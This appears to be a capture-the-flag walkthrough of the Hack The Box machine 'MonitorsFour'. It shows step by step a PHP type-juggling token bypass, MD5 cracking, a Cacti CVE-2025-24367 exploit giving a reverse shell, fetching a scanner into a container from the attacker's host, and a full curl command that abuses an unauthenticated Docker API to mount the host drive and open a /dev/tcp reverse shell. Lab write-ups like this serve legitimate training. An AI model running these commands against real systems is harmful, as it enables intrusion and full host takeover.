HTB MonitorsFour: From Web App to Windows Host

Target: monitorsfour.htb
Difficulty: Easy
Date: December 12, 2025

This was such a fun box! It taught me about PHP type juggling vulnerabilities, Docker escapes, and how to leverage an exposed Docker API to compromise a Windows host. Let me walk you through exactly how I solved it.


Step 1: Initial Reconnaissance

First things first - let’s see what we’re working with.

Port Scanning

nmap -sC -sV -sT 10.10.11.98

Results: Port 80 (HTTP) was open. and 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Directory Enumeration

I fired up dirsearch to find hidden directories:

dirsearch -u http://monitorsfour.htb -x 404

Jackpot! Found /.env - a configuration file that should NEVER be public. Inside were database credentials:

DB_HOST=mariadb
DB_NAME=monitorsfour_db  
DB_USER=monitorsdbuser
DB_PASS=f*********

💡 Pro tip: Always check for .env, .git, and backup files. Developers forget about them all the time.

Subdomain Discovery

Next, I checked for subdomains using ffuf:

ffuf -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt

Found: cacti.monitorsfour.htb running Cacti version 1.2.28 (a network monitoring tool).


Step 2: Exploiting PHP Type Juggling

Finding the Vulnerable Endpoint

While exploring the main site, I discovered a /user endpoint:

curl http://monitorsfour.htb/user

Response: {"error":"Missing token parameter"}

When I added a fake token:

curl http://monitorsfour.htb/user?token=AAAA

Response: {"error":"Invalid or missing token"}

Understanding PHP Type Juggling

Here’s where it gets interesting. PHP has this quirk with loose comparisons (== vs ===). When developers use ==, PHP tries to convert types automatically:

  • "0" == 0true
  • "0e1234" == 0true (scientific notation!)
  • "" == 0true
  • "00" == 0true

If the token validation uses something like if ($token == $valid_token), we can bypass it!

Testing the Bypass

I created a quick wordlist:

0
00
0e1234
0e9999
true
false

Then tested each one:

for token in 0 00 0e1234 ""; do
  echo "Testing: $token"
  curl -s "http://monitorsfour.htb/user?token=$token"
  echo ""
done

Success! Multiple tokens worked: 0, 00, 0e1234, and even empty string.

Extracting User Data

curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool

Got back a list of users with MD5 hashed passwords, including the admin user!


Step 3: Cracking the Admin Hash

Using John the Ripper

I saved the admin hash and fired up John:

echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Cracked in 3 seconds: wonderful1

Testing the Credentials

Tried on the main site - no luck. But then I remembered the Cacti subdomain!

marcus:wonderful1 on cacti.monitorsfour.htb → Success! 🎉


Step 4: Exploiting Cacti for Initial Shell

Finding the Right Exploit

Cacti 1.2.28 was vulnerable to CVE-2025-24367 - a Graph Template Injection vulnerability. Essentially, admins can create graph templates that execute arbitrary commands through rrdtool.

Found a working PoC on GitHub:

git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC

Getting a Reverse Shell

Set up my listener:

nc -lnvp 60001

Ran the exploit:

python3 exploit.py -u marcus -p wonderful1 -url http://cacti.monitorsfour.htb -i 10.10.14.77 -l 60001

Output:

[+] Cacti Instance Found!
[+] Login Successful!
[+] Got graph ID: 226
[+] Hit timeout, looks good for shell, check your listener!

And boom! Got a shell as www-data:

www-data@821fbd6a43fa:~/html/cacti$

Step 5: Container Enumeration

Initial Exploration

whoami
# www-data

hostname
# 821fbd6a43fa  (Docker container!)

pwd
# /var/www/html/cacti

I was inside a Docker container. Let’s grab the user flag first:

cd /home/marcus
cat user.txt
# [USER FLAG CAPTURED! ✅]

Network Discovery

Checked the network configuration:

ip addr show
# 172.18.0.3 (my container)

ip route
# default via 172.18.0.1 dev eth0 
# 172.18.0.0/16 dev eth0

cat /etc/resolv.conf
# nameserver 127.0.0.11
# ExtServers: [host(192.168.65.7)]

This revealed:

  • 172.18.0.3: Cacti container (me)
  • 172.18.0.2: MariaDB container
  • 192.168.65.7: Docker host (Windows!)

Scanning the Host

I needed a network scanner. Downloaded fscan to the container:

# On my Kali
wget https://github.com/shadow1ng/fscan/releases/download/1.8.1/fscan_amd64 -O /tmp/fscan
chmod +x /tmp/fscan
python3 -m http.server 8000

# On target
curl http://10.10.14.77:8000/fscan -o /tmp/fscan
chmod +x /tmp/fscan

Ran the scan:

/tmp/fscan -h 192.168.65.7 -p 2375-2380,22,80,443,3389,5985,5986,8080-8081,9000-9001 -np -t 200

Critical finding:

192.168.65.7:2375 open
[+] http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce

Port 2375 = Unauthenticated Docker API! This is our ticket to the host.


Step 6: Docker API Escape (CVE-2025-9074)

Understanding the Vulnerability

Docker Desktop for Windows (older versions) exposes the Docker daemon on port 2375 within the WSL2 network. This lets ANY container control the Docker engine.

The attack plan:

  1. Create a new privileged container
  2. Mount the Windows C: drive inside it
  3. Get a reverse shell with full host access

Verifying Docker API Access

curl -s http://192.168.65.7:2375/version
# Got version info - API is wide open!

Listing Available Images

curl -s http://192.168.65.7:2375/images/json

Found: docker_setup-nginx-php:latest

Creating the Malicious Container

Set up another listener on my Kali:

nc -lnvp 60002

Created a JSON payload to mount the host’s C: drive:

YOUR_IP="10.10.14.77"

curl -H 'Content-Type: application/json' \
  -d "{\"Image\":\"docker_setup-nginx-php:latest\",\"Cmd\":[\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/$YOUR_IP/60002 0>&1\"],\"HostConfig\":{\"Binds\":[\"/mnt/host/c:/host_root\"]}}" \
  http://192.168.65.7:2375/containers/create -o response.json

Got back a container ID. Started it:

# Extract container ID from response
cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d'"' -f4)

# Start the container
curl -X POST http://192.168.65.7:2375/containers/$cid/start

Step 7: Root Flag Capture

Getting the Privileged Shell

My listener caught the connection:

nc -lnvp 60002
# Connection from 10.10.11.98
root@5d42e10b2055:/var/www/html#

I’m now root with the entire Windows C: drive mounted at /host_root!

Finding the Root Flag

ls /host_root/Users/Administrator/Desktop/
# desktop.ini  root.txt

There it is! Reading it:

head /host_root/Users/Administrator/Desktop/root.txt
# [ROOT FLAG CAPTURED! ✅]

📝 Note: I used head instead of cat due to some terminal encoding issues.


Summary of Tools Used

Tool Purpose
Nmap Port scanning
Dirsearch Directory enumeration
FFUF Subdomain fuzzing
cURL API testing and exploitation
John the Ripper Password cracking
Netcat Reverse shells
fscan Network scanning from container
CVE-2025-24367 Exploit Cacti RCE
Docker API Container escape

Attack Chain Visualization

1. .env file leak → DB credentials
2. PHP type juggling → User data dump
3. MD5 crack → Cacti access (marcus:wonderful1)
4. CVE-2025-24367 → Shell as www-data in container
5. Network scan → Docker API on port 2375
6. Docker API abuse → Privileged container with C: mount
7. Root shell → Complete Windows host compromise

Happy hacking! 🚀